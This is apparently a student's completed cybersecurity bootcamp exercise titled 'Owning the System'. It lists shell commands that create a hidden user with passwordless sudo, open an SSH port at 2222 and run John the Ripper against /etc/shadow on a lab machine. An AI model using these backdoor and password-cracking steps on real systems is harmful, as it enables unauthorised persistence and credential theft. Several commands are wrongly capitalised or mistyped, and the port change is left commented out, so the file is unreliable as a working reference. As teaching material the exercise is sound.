



Cybersecurity

Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

```
Sudo adduser sysd
```

2. Give your secret user a password.

```
Sudo passwd sysd
```

3. Give your secret user a system UID < 1000.

```
Sudo usermod -u 420 sysd
```

4. Give your secret user the same GID.

```
Sudo usermod -g 420 sysd
```

5. Give your secret user full `sudo` access without the need for a password.

```
Sudo visudo  
Sysd ALL=(ALL:ALL) NOPASSWD:ALL
```

6. Test that `sudo` access works without your password.

```
Sudo ls
```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file.

```
Sudo nano /etc/ssh/sshd_config  
#Port 2222
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
Service restart ssh
```

2. Exit the `root` account.

```
logout
```

3. SSH to the target machine using your `sysd` account and port `2222`.

```
Ssh sysd@192.168.6.105 -p 2222
```

4. Use `sudo` to switch to the root user.

```
Sudo -s
```

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`.

```
Ssh syd@192.168.6.105 -p 2222
```

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file.

```
Sudo su  
John /etc/shadow
```